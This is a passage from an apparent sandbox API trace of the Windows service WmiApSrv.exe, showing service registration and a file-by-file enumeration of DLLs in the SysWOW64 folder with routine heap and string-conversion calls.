BaseAddress=0x115d5e8) returned 1 [0169.254] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0169.254] StartServiceCtrlDispatcherW (lpServiceTable=0x35f6a4*(lpServiceName="", lpServiceProc=0xf2d040)) [0218.431] SetServiceStatus (hServiceStatus=0x3de390, lpServiceStatus=0x35f5a4*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 748 os_tid = 0x5d4 Thread: id = 749 os_tid = 0x2fc Thread: id = 750 os_tid = 0x780 Thread: id = 751 os_tid = 0x784 [0169.410] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0xf2ce51) returned 0x3de390 [0169.410] SetServiceStatus (hServiceStatus=0x3de390, lpServiceStatus=0x1b3f948*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0169.448] GetCommandLineW () returned="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e268 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x5c) returned 0x115dd28 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e1e0 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e2f0 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e378 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e400 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e488 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e510 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e598 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e620 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e6a8 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e730 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e7b8 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x100) returned 0xd27cf8 [0169.448] GetSystemWow64DirectoryW (in: lpBuffer=0xd27cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0169.448] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd27cf8) returned 1 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e840 [0169.448] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e840) returned 1 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e840 [0169.448] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x1b3f6a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1b3f6a4) returned 0x3dfdd8 [0169.448] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.449] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.449] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x115c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0169.449] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.449] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.449] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.449] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.449] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.449] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0169.450] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.450] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x115c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.451] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x115c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.451] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.451] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.451] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x115c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0169.451] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.452] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.452] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x115c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.452] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x115c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0169.452] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.452] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.452] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x115c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.453] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x115c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.453] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x115c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.453] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.453] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x3d7e60, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e8c8 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115e950 [0169.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.453] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c120 [0169.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x115c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0169.454] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115c288 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c120) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115c288) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e950) returned 1 [0169.454] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115e8c8) returned 1 [0169.454] FindNextFileW (in: hFindFile=0x3dfdd8, lpFindFileData=0x1b3f6a4 | out: lpFindFileData=0x1b3f6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x3d7e60, dwReserved1=0x0, 